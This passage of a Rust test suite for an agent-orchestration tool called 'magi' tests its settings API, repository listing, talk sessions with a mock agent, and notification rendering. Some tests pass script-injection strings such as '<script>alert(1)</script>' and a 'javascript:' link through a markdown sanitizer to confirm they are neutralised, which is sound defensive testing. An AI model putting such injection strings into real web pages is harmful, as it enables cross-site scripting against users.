14364                .as_array()
14365                .is_some_and(|s| s.iter().all(|x| x == "b")),
14366            "{adv}"
14367        );
14368        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
14369        assert_eq!(v["agents"][0]["source"], "repo");
14370    }
14371
14372    #[tokio::test]
14373    async fn settings_get_reports_a_config_that_does_not_parse() {
14374        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
14375        let f = Fixture::with_repo_and_machine(repo, machine).await;
14376        let res = f.get("/api/settings").await;
14377        assert_eq!(res.status, 200, "{}", res.body);
14378        let v = res.json();
14379        assert!(v["error"]["message"].is_string(), "{v}");
14380        assert!(
14381            v["error"]["path"]
14382                .as_str()
14383                .is_some_and(|p| p.ends_with("magi.toml")),
14384            "{v}"
14385        );
14386        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
14387    }
14388
14389    #[tokio::test]
14390    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
14391        let (_tmp, repo, machine) = settings_dirs(
14392            SETTINGS_AGENTS,
14393            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
14394        );
14395        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
14396        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14397        let rev = f.get("/api/settings").await.json()["revision"]
14398            .as_str()
14399            .expect("revision")
14400            .to_owned();
14401        let body = serde_json::json!({
14402            "revision": rev,
14403            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
14404        })
14405        .to_string();
14406        let res = f.put("/api/settings/roles", &body).await;
14407        assert_eq!(res.status, 200, "{}", res.body);
14408        let text = std::fs::read_to_string(&machine).expect("machine");
14409        assert_eq!(
14410            text,
14411            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
14412        );
14413        assert_eq!(
14414            std::fs::read(repo.join("magi.toml")).expect("read"),
14415            repo_before
14416        );
14417        let again = f.get("/api/settings").await.json();
14418        let judges = again["roles"]
14419            .as_array()
14420            .expect("roles")
14421            .iter()
14422            .find(|r| r["key"] == "judges")
14423            .expect("judges")
14424            .clone();
14425        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
14426        // The old revision is now stale.
14427        let stale = f.put("/api/settings/roles", &body).await;
14428        assert_eq!(stale.status, 409, "{}", stale.body);
14429    }
14430
14431    #[tokio::test]
14432    async fn settings_counts_are_reported_and_saved() {
14433        let (_tmp, repo, machine) = settings_dirs(
14434            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
14435            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
14436        );
14437        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14438        let v = f.get("/api/settings").await.json();
14439        let count = |v: &serde_json::Value, k: &str| {
14440            v["roles"]
14441                .as_array()
14442                .and_then(|r| r.iter().find(|x| x["key"] == k))
14443                .map(|x| x["count"].clone())
14444                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14445        };
14446        let imp = count(&v, "implementers");
14447        assert_eq!(imp["value"], 2);
14448        assert_eq!(imp["source"], "machine");
14449        assert_eq!(imp["file_key"], "candidates");
14450        assert_eq!(imp["roster_len"], 2);
14451        assert_eq!(imp["backups"], 0);
14452        assert_eq!(count(&v, "judges")["source"], "default");
14453        assert_eq!(count(&v, "advisors")["min"], 0);
14454        assert_eq!(count(&v, "reviewers")["editable"], false);
14455        assert!(
14456            count(&v, "reviewers")["locked_reason"]
14457                .as_str()
14458                .is_some_and(|m| m.contains("graph.reviewers"))
14459        );
14460        assert!(count(&v, "fixer").is_null());
14461        let rev = v["revision"].as_str().expect("revision").to_owned();
14462        let body = serde_json::json!({
14463            "revision": rev,
14464            "roles": { "judges": ["b"] },
14465            "counts": { "implementers": 1, "advisors": 0 }
14466        })
14467        .to_string();
14468        let res = f.put("/api/settings/roles", &body).await;
14469        assert_eq!(res.status, 200, "{}", res.body);
14470        let text = std::fs::read_to_string(&machine).expect("machine");
14471        assert_eq!(
14472            text,
14473            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
14474        );
14475        let after = f.get("/api/settings").await.json();
14476        assert_eq!(count(&after, "implementers")["value"], 1);
14477        assert_eq!(count(&after, "implementers")["backups"], 1);
14478        assert_eq!(count(&after, "advisors")["value"], 0);
14479        let before = std::fs::read_to_string(&machine).expect("machine");
14480        let rev = after["revision"].as_str().expect("revision").to_owned();
14481        for counts in [
14482            serde_json::json!({ "judges": 0 }),
14483            serde_json::json!({ "judges": "x" }),
14484            serde_json::json!({ "judges": 2.5 }),
14485            serde_json::json!({ "judges": -1 }),
14486            serde_json::json!({ "reviewers": 3 }),
14487            serde_json::json!({ "bogus": 3 }),
14488        ] {
14489            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
14490            let res = f.put("/api/settings/roles", &body).await;
14491            assert_eq!(res.status, 422, "{counts}: {}", res.body);
14492            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
14493        }
14494    }
14495
14496    #[tokio::test]
14497    async fn settings_put_refuses_without_touching_the_file() {
14498        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
14499        let (_tmp, repo, machine) = settings_dirs(
14500            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
14501            Some(machine_text),
14502        );
14503        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14504        let rev = f.get("/api/settings").await.json()["revision"]
14505            .as_str()
14506            .expect("revision")
14507            .to_owned();
14508        for roles in [
14509            serde_json::json!({ "judges": ["nope"] }),
14510            serde_json::json!({ "reviewers": ["b"] }),
14511            serde_json::json!({ "bogus": ["a"] }),
14512        ] {
14513            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
14514            let res = f.put("/api/settings/roles", &body).await;
14515            assert_eq!(res.status, 422, "{roles}: {}", res.body);
14516            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
14517            assert_eq!(
14518                std::fs::read_to_string(&machine).expect("machine"),
14519                machine_text
14520            );
14521        }
14522    }
14523
14524    #[tokio::test]
14525    async fn repos_list_returns_name_and_path_for_every_configured_root() {
14526        let tmp = TempDir::new().expect("tempdir");
14527        let repo = tmp.path().join("repo");
14528        std::fs::create_dir_all(&repo).expect("repo dir");
14529        let root = tmp.path().join("root");
14530        make_checkout(&root, "github.com", "yukimemi", "magi");
14531        std::fs::write(
14532            repo.join("magi.toml"),
14533            format!(
14534                "[repos]\nroots = [{:?}]\n",
14535                root.to_string_lossy().into_owned()
14536            ),
14537        )
14538        .expect("write magi.toml");
14539
14540        let f = Fixture::with_repo(repo).await;
14541        let res = f.get("/api/repos").await;
14542        assert_eq!(res.status, 200, "{}", res.body);
14543        let list = res.json();
14544        let repos = list.as_array().expect("an array");
14545        assert_eq!(repos.len(), 1);
14546        assert_eq!(repos[0]["name"], "yukimemi/magi");
14547        assert!(
14548            repos[0]["path"]
14549                .as_str()
14550                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
14551            "{list}"
14552        );
14553    }
14554
14555    #[tokio::test]
14556    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
14557        let tmp = TempDir::new().expect("tempdir");
14558        let repo = tmp.path().join("repo");
14559        std::fs::create_dir_all(&repo).expect("repo dir");
14560        let root = tmp.path().join("root");
14561        make_checkout(&root, "github.com", "yukimemi", "magi");
14562        std::fs::write(
14563            repo.join("magi.toml"),
14564            format!(
14565                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
14566                root.to_string_lossy().into_owned()
14567            ),
14568        )
14569        .expect("write magi.toml");
14570
14571        let f = Fixture::with_repo(repo).await;
14572        let first = f.get("/api/repos").await;
14573        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
14574
14575        // A second checkout appears; within the TTL the cached answer must
14576        // not notice it.
14577        make_checkout(&root, "github.com", "yukimemi", "rvpm");
14578        let second = f.get("/api/repos").await;
14579        assert_eq!(
14580            second.json().as_array().map(Vec::len),
14581            Some(1),
14582            "a fresh cache must not rescan inside the TTL"
14583        );
14584
14585        let refreshed = f.get("/api/repos?refresh=1").await;
14586        assert_eq!(
14587            refreshed.json().as_array().map(Vec::len),
14588            Some(2),
14589            "an explicit refresh must rescan even inside the TTL"
14590        );
14591    }
14592
14593    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
14594    /// string, declared straight in a repository's own `magi.toml` rather
14595    /// than the operator's real roster. No real agent CLI is spawned - `sh`
14596    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
14597    /// this is safe to run over a real HTTP round trip.
14598    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
14599
14600    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
14601    /// real `Config::discover` to find an agent - `talk::begin` resolves one
14602    /// even though it takes no turn, and `talk_say` invokes one.
14603    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
14604        let tmp = TempDir::new().expect("tempdir");
14605        let repo = tmp.path().join("repo");
14606        std::fs::create_dir_all(&repo).expect("repo dir");
14607        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14608        let f = Fixture::with_repo(repo.clone()).await;
14609        (tmp, repo, f)
14610    }
14611
14612    #[tokio::test]
14613    async fn posting_a_talk_with_remembered_choices_is_soft() {
14614        let (_tmp, _repo, f) = talk_fixture().await;
14615
14616        let good = f
14617            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
14618            .await;
14619        assert_eq!(good.status, 201, "{}", good.body);
14620        assert_eq!(good.json()["persona"], "rei");
14621
14622        // Wrong values and wrong types are dropped one by one, never a 4xx.
14623        let stale = f
14624            .post(
14625                "/api/talks",
14626                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
14627            )
14628            .await;
14629        assert_eq!(stale.status, 201, "{}", stale.body);
14630        let v = stale.json();
14631        assert_eq!(v["implementers"], 1);
14632        assert_ne!(v["persona"], "nobody");
14633        let typed = f
14634            .post(
14635                "/api/talks",
14636                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
14637            )
14638            .await;
14639        assert_eq!(typed.status, 201, "{}", typed.body);
14640
14641        // The strict `agent` field still refuses an unknown id.
14642        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
14643        assert!(
14644            !strict.status.to_string().starts_with('2'),
14645            "{}",
14646            strict.body
14647        );
14648    }
14649
14650    #[tokio::test]
14651    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
14652        let (_tmp, _repo, f) = talk_fixture().await;
14653
14654        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
14655        // is the ordinary way a phone opens a talk.
14656        let opened = f.post("/api/talks", None).await;
14657        assert_eq!(opened.status, 201, "{}", opened.body);
14658        let body = opened.json();
14659        assert_eq!(body["status"], "open");
14660        assert_eq!(
14661            body["turns"].as_array().unwrap().len(),
14662            0,
14663            "opening takes no agent turn: there is nothing yet to answer"
14664        );
14665
14666        // An explicit empty object is the same request as none at all.
14667        let also_opened = f.post("/api/talks", Some("{}")).await;
14668        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
14669
14670        let listed = f.get("/api/talks").await.json();
14671        assert_eq!(listed.as_array().unwrap().len(), 2);
14672    }
14673
14674    #[tokio::test]
14675    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
14676        let tmp = TempDir::new().expect("tempdir");
14677        let repo = tmp.path().join("repo");
14678        std::fs::create_dir_all(&repo).expect("repo dir");
14679        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
14680        std::fs::write(
14681            repo.join("magi.toml"),
14682            format!("{MOCK_AGENT_TOML}\n{second}"),
14683        )
14684        .expect("write magi.toml");
14685        let home = TempDir::new().expect("temp home");
14686        let talks = Talks::at(home.path().join("talks"));
14687        let ui = Arc::new(
14688            Ui::new(
14689                Queue::at(home.path().join("queue")),
14690                Questions::at(home.path().join("questions")),
14691                talks.clone(),
14692                home.path().join("runs"),
14693                home.path().to_path_buf(),
14694                repo.clone(),
14695            )
14696            .with_worktrees_root(home.path().join("wt")),
14697        );
14698        let cfg = config_for(&repo).await.expect("discover config");
14699        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14700        let id = talk.id.clone();
14701        let call = |agent: &str| {
14702            talk_agent(
14703                State(Arc::clone(&ui)),
14704                Path(id.clone()),
14705                Json(TalkAgent {
14706                    agent: agent.to_owned(),
14707                }),
14708            )
14709        };
14710
14711        let unknown = call("nobody").await.expect_err("unknown agent");
14712        assert_eq!(
14713            unknown.status,
14714            StatusCode::BAD_REQUEST,
14715            "{}",
14716            unknown.message
14717        );
14718
14719        {
14720            // Nothing refused so far took a claim, so the guard is free to take
14721            // and holding it is what makes the talk busy.
14722            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14723            let busy = call("second").await.expect_err("busy talk");
14724            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14725            assert!(
14726                busy.message.contains("a talk turn is running"),
14727                "{}",
14728                busy.message
14729            );
14730            drop(guard);
14731        }
14732        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
14733
14734        let Json(view) = call("second").await.expect("switch");
14735        assert_eq!(view.talk.agent, "second");
14736        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
14737        let saved = talks.get(&id).expect("reload");
14738        assert_eq!(saved.agent, "second");
14739        assert_eq!(saved.turns.len(), 1);
14740        assert!(!view.thinking);
14741        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14742        for agent in ["mock", "second"] {
14743            let Json(view) = call(agent).await.expect("immediate consecutive change");
14744            assert_eq!(view.talk.agent, agent);
14745            assert!(!view.thinking);
14746            assert!(!ui.is_thinking(&id));
14747        }
14748
14749        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14750            .await
14751            .expect("detail");
14752        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
14753        assert_eq!(roster, ["mock", "second"]);
14754
14755        let mut closed = talks.get(&id).expect("reload");
14756        talk::close(&mut closed, &talks).expect("close");
14757        let refused = call("mock").await.expect_err("closed talk");
14758        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14759        assert!(
14760            refused.message.contains("takes no more turns"),
14761            "{}",
14762            refused.message
14763        );
14764    }
14765
14766    #[tokio::test]
14767    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
14768        let tmp = TempDir::new().expect("tempdir");
14769        let repo = tmp.path().join("repo");
14770        std::fs::create_dir_all(&repo).expect("repo dir");
14771        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14772        let home = TempDir::new().expect("temp home");
14773        let talks = Talks::at(home.path().join("talks"));
14774        let ui = Arc::new(
14775            Ui::new(
14776                Queue::at(home.path().join("queue")),
14777                Questions::at(home.path().join("questions")),
14778                talks.clone(),
14779                home.path().join("runs"),
14780                home.path().to_path_buf(),
14781                repo.clone(),
14782            )
14783            .with_worktrees_root(home.path().join("wt")),
14784        );
14785        let cfg = config_for(&repo).await.expect("discover config");
14786        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14787        let id = talk.id.clone();
14788        let call = |n: u8| {
14789            talk_implementers(
14790                State(Arc::clone(&ui)),
14791                Path(id.clone()),
14792                Json(TalkImplementers { implementers: n }),
14793            )
14794        };
14795
14796        for bad in [0u8, 4] {
14797            let e = call(bad).await.expect_err("out of range");
14798            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
14799        }
14800        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
14801
14802        {
14803            // Nothing refused so far took a claim, so the guard is free to take
14804            // and holding it is what makes the talk busy.
14805            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14806            let busy = call(2).await.expect_err("busy talk");
14807            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14808            assert!(
14809                busy.message.contains("a talk turn is running"),
14810                "{}",
14811                busy.message
14812            );
14813            drop(guard);
14814        }
14815
14816        let Json(view) = call(3).await.expect("switch");
14817        assert_eq!(view.talk.implementers, 3);
14818        assert!(talks.get(&id).expect("reload").implementers_dirty);
14819        assert!(!view.thinking);
14820        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14821        for n in [1, 2, 3] {
14822            let Json(view) = call(n).await.expect("immediate consecutive change");
14823            assert_eq!(view.talk.implementers, n);
14824            assert!(!view.thinking);
14825            assert!(!ui.is_thinking(&id));
14826        }
14827
14828        let mut closed = talks.get(&id).expect("reload");
14829        talk::close(&mut closed, &talks).expect("close");
14830        let e = call(2).await.expect_err("closed talk");
14831        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
14832        assert!(e.message.contains("takes no more turns"), "{}", e.message);
14833    }
14834
14835    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
14836    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
14837        let tmp = TempDir::new().expect("tempdir");
14838        let repo = tmp.path().join("repo");
14839        std::fs::create_dir_all(&repo).expect("repo dir");
14840        std::fs::write(
14841            repo.join("magi.toml"),
14842            format!("{MOCK_AGENT_TOML}\n{extra}"),
14843        )
14844        .expect("write magi.toml");
14845        let home = TempDir::new().expect("temp home");
14846        let talks = Talks::at(home.path().join("talks"));
14847        let ui = Arc::new(
14848            Ui::new(
14849                Queue::at(home.path().join("queue")),
14850                Questions::at(home.path().join("questions")),
14851                talks.clone(),
14852                home.path().join("runs"),
14853                home.path().to_path_buf(),
14854                repo.clone(),
14855            )
14856            .with_worktrees_root(home.path().join("wt")),
14857        );
14858        let cfg = config_for(&repo).await.expect("discover config");
14859        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14860        (tmp, home, ui, talk.id, repo)
14861    }
14862
14863    #[tokio::test]
14864    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
14865        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14866        let mut conversation = ui.talks.get(&id).unwrap();
14867        talk::record(
14868            &mut conversation,
14869            &ui.talks,
14870            "# Update on a task you filed\noperator words",
14871            vec![],
14872        )
14873        .unwrap();
14874        // Simulate an old operator record; headings do not prove authorship.
14875        conversation.turns[0].sender = None;
14876        conversation.turns[0].messages.clear();
14877        ui.talks.put(&mut conversation).unwrap();
14878        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
14879        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
14880        talk::drain(&mut conversation, &ui.talks).unwrap();
14881        talk::record_reply(
14882            &mut conversation,
14883            &ui.talks,
14884            "about that report",
14885            vec![],
14886            Some(talk::ReplyTarget {
14887                turn: 1,
14888                message: 1,
14889            }),
14890        )
14891        .unwrap();
14892        conversation.turns[2].messages[0]
14893            .reply
14894            .as_mut()
14895            .unwrap()
14896            .sender = None;
14897        conversation.turns.push(talk::Turn {
14898            sender: Some(talk::Sender::Persona),
14899            who: talk::Who::Agent,
14900            body: "magi: actual persona words".into(),
14901            at: Timestamp::now(),
14902            attachments: vec![],
14903            usage: None,
14904            breaks: None,
14905            messages: vec![],
14906            posted_by: None,
14907        });
14908        ui.talks.put(&mut conversation).unwrap();
14909        let view = TalkView::with_config(
14910            ui.talks.get(&id).unwrap(),
14911            false,
14912            None,
14913            &ui.home,
14914            &ui.references,
14915        );
14916        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
14917        assert_eq!(
14918            view.talk.turns[1].messages[0].sender,
14919            Some(talk::Sender::Operator)
14920        );
14921        assert_eq!(
14922            view.talk.turns[1].messages[1].sender,
14923            Some(talk::Sender::Magi)
14924        );
14925        assert_eq!(
14926            view.talk.turns[2].messages[0]
14927                .reply
14928                .as_ref()
14929                .unwrap()
14930                .sender,
14931            Some(talk::Sender::Magi)
14932        );
14933        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
14934        assert_eq!(view.turn_messages_md[0].len(), 1);
14935        assert!(view.turn_messages_md[0][0].is_none());
14936        assert!(view.turn_messages_md[1][0].is_none());
14937        assert!(view.turn_messages_md[1][1].is_some());
14938    }
14939
14940    #[tokio::test]
14941    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
14942        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14943        let mut conversation = ui.talks.get(&id).unwrap();
14944        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
14945        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14946        talk::queue_notice(
14947            &mut conversation,
14948            &ui.talks,
14949            &body,
14950            "watch:123",
14951            &|_| false,
14952            crate::chat_control::standing::Event::Watch {
14953                id: "watch-123".into(),
14954            },
14955            display.clone(),
14956        )
14957        .unwrap();
14958        assert!(
14959            !talk::queue_notice(
14960                &mut conversation,
14961                &ui.talks,
14962                &body,
14963                "watch:123",
14964                &|_| false,
14965                crate::chat_control::standing::Event::Watch {
14966                    id: "watch-123".into()
14967                },
14968                display.clone()
14969            )
14970            .unwrap()
14971        );
14972        let saved = ui.talks.get(&id).unwrap();
14973        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
14974        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
14975        assert!(
14976            view.talk.turns[0].messages[0].display.is_none(),
14977            "operator copy stays literal"
14978        );
14979        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
14980        assert!(view.turn_messages_md[0][0].is_none());
14981        let queued_md = view.pending_messages_md[0].clone();
14982        assert_eq!(
14983            queued_md,
14984            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
14985        );
14986        talk::drain(&mut conversation, &ui.talks).unwrap();
14987        talk::record_reply(
14988            &mut conversation,
14989            &ui.talks,
14990            "Explain",
14991            vec![],
14992            Some(talk::ReplyTarget {
14993                turn: 1,
14994                message: 0,
14995            }),
14996        )
14997        .unwrap();
14998        let mut saved = ui.talks.get(&id).unwrap();
14999        assert_eq!(saved.turns[1].messages[0].body, body);
15000        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
15001        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
15002        assert!(!reply.excerpt.contains("automatic report"));
15003        reply.excerpt = body.chars().take(240).collect(); // old saved quote
15004        saved.turns[1].messages[0].display = None; // old MAGI send
15005        ui.talks.put(&mut saved).unwrap();
15006        let view = TalkView::with_config(
15007            ui.talks.get(&id).unwrap(),
15008            false,
15009            None,
15010            &ui.home,
15011            &ui.references,
15012        );
15013        assert_eq!(view.turn_messages_md[1][0], queued_md);
15014        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
15015        assert!(
15016            !view.talk.turns[2].messages[0]
15017                .reply
15018                .as_ref()
15019                .unwrap()
15020                .excerpt
15021                .contains("automatic report")
15022        );
15023        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
15024    }
15025
15026    #[tokio::test]
15027    async fn consultation_display_hides_directives_in_queue_and_history() {
15028        for node in [
15029            "implement",
15030            crate::land::APPROVAL_NODE,
15031            crate::github_text::ASK_NODE,
15032        ] {
15033            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15034            let mut question = Question::new(
15035                "run-123".into(),
15036                node.into(),
15037                "seat-1".into(),
15038                "Which backend?".into(),
15039                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
15040                vec!["SQLite".into(), "Redis".into()],
15041            );
15042            ui.questions.put(&mut question).unwrap();
15043            let body = crate::prompt::chat_consult(&question);
15044            let mut conversation = ui.talks.get(&id).unwrap();
15045            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15046            assert!(
15047                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
15048            );
15049            conversation = ui.talks.get(&id).unwrap();
15050            assert_eq!(conversation.pending_messages[0].body, body);
15051            assert!(body.contains("magi answer"));
15052            let mut legacy_pending = conversation.clone();
15053            legacy_pending.pending_messages[0].display = None;
15054            let legacy_view =
15055                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
15056            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
15057            assert!(legacy_md.contains("Question consultation"));
15058            assert!(!legacy_md.contains("magi answer"));
15059            let view =
15060                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15061            assert!(
15062                view.turn_messages_md[0][0].is_none(),
15063                "operator copy stays literal"
15064            );
15065            let queued_md = view.pending_messages_md[0].clone().unwrap();
15066            let rendered = serde_json::to_string(&queued_md).unwrap();
15067            for visible in [
15068                "Which backend?",
15069                "Context",
15070                "storage",
15071                "SQLite",
15072                "Redis",
15073                "<script>literal</script>",
15074            ] {
15075                assert!(rendered.contains(visible), "missing {visible}");
15076            }
15077            for directive in [
15078                "What to do",
15079                "magi answer",
15080                "Never answer it yourself",
15081                "Do not edit the repository",
15082            ] {
15083                assert!(!rendered.contains(directive), "exposed {directive}");
15084            }
15085            assert_eq!(
15086                view.talk.pending_messages[0].display,
15087                Some(crate::prompt::chat_consult_display(&question))
15088            );
15089            talk::drain(&mut conversation, &ui.talks).unwrap();
15090            let view =
15091                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15092            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
15093            assert_eq!(conversation.turns[1].messages[0].body, body);
15094
15095            // Historical consultations lack a snapshot: show a safe placeholder
15096            // rather than parsing instructions or reconstructing mutable facts.
15097            conversation.turns[1].messages[0].display = None;
15098            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15099            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
15100            assert!(legacy.contains("Question consultation"));
15101            assert!(!legacy.contains("magi answer"));
15102            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15103        }
15104    }
15105
15106    #[test]
15107    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
15108        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
15109        let (body, mut display) =
15110            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
15111        display.facts = facts.into();
15112        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
15113        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
15114        let json = serde_json::to_string(&nodes).unwrap();
15115        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
15116            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
15117        }
15118        assert!(json.contains("<script>alert(1)</script>"));
15119        assert!(!json.contains("javascript:"));
15120        assert!(!json.contains("Tell the operator"));
15121        assert!(!json.contains("untrusted"));
15122        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
15123        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
15124        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15125        assert_eq!(
15126            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
15127            md::to_nodes("# Status", &md::ImageBase::None),
15128        );
15129    }
15130
15131    #[tokio::test]
15132    async fn notification_display_recovers_exact_legacy_completion_references() {
15133        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15134        let mut conversation = ui.talks.get(&id).unwrap();
15135        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
15136            id: "task-123",
15137            title: "Change",
15138            status: "done",
15139            reason: None,
15140            run: Some("run-123"),
15141            pr: None,
15142            summary: Some("Merge state unknown"),
15143        });
15144        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15145        conversation.turns[0].sender = None;
15146        conversation.turns[0].messages.clear();
15147        conversation.turns[0].breaks = None;
15148        conversation.pending = body.clone();
15149        conversation
15150            .completion_notices
15151            .push(crate::chat_notify::CompletionReference {
15152                task: "task-123".into(),
15153                run: Some("run-123".into()),
15154                notice: body.clone(),
15155            });
15156        ui.talks.put(&mut conversation).unwrap();
15157        let view = TalkView::with_config(
15158            ui.talks.get(&id).unwrap(),
15159            false,
15160            None,
15161            &ui.home,
15162            &ui.references,
15163        );
15164        assert_eq!(
15165            view.talk.turns[0].messages[0].display,
15166            Some(display.clone())
15167        );
15168        assert_eq!(view.talk.pending_messages[0].display, Some(display));
15169        assert_eq!(
15170            view.talk.turns[0].messages[0].sender,
15171            Some(talk::Sender::Magi)
15172        );
15173        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
15174        conversation.completion_notices[0]
15175            .notice
15176            .push_str("different");
15177        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15178        assert!(view.talk.turns[0].messages.is_empty());
15179        assert!(view.talk.pending_messages.is_empty());
15180    }
15181
15182    #[tokio::test]
15183    async fn avatar_settings_report_states_and_inherit_after_corruption() {
15184        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15185        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
15186            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
15187        ))
15188        .await;
15189        let path = avatar_setting_path(home.path(), Some("rei"));
15190        let orphan = avatar_setting_path(home.path(), Some("removed"));
15191        save_icon_file(&orphan, icon).unwrap();
15192        for (saved, expected) in [
15193            (icon, "custom"),
15194            ("builtin", "builtin"),
15195            ("data:image/png;base64,!!!!", "inherit"),
